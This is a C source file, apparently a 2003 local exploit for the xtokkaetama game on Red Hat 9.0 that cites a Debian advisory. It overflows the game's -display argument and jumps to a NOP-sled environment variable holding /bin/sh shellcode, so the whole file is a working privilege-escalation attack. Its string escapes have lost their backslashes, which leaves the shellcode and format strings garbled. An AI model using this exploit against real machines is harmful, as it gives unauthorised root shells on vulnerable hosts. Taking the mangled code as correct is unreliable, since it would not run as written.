/*
*  xtokkaetama 1.0b local game exploit on Red Hat 9.0
*               Coded by brahma (31/07/2003)
*
*       http://www.debian.org/security/2003/dsa-356
*/


#include <stdlib.h>
#define RETADDR 0xbfffff11 
#define DEFAULT_BUFFER_SIZE 29
#define DEFAULT_EGG_SIZE 512 
#define NOP 0x90
#define BIN "/usr/X11R6/bin/xtokkaetama" 
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) eggsize = atoi(argv[2]);


if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.n");
exit(0);
}

addr = RETADDR; 
printf("Using address: 0x%xn", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '';
egg[eggsize - 1] = '';

memcpy(egg,"EGG=",4);
putenv(egg);
execl(BIN,BIN,"-display",buff,NULL);
}



// www.Syue.com [2003-08-01]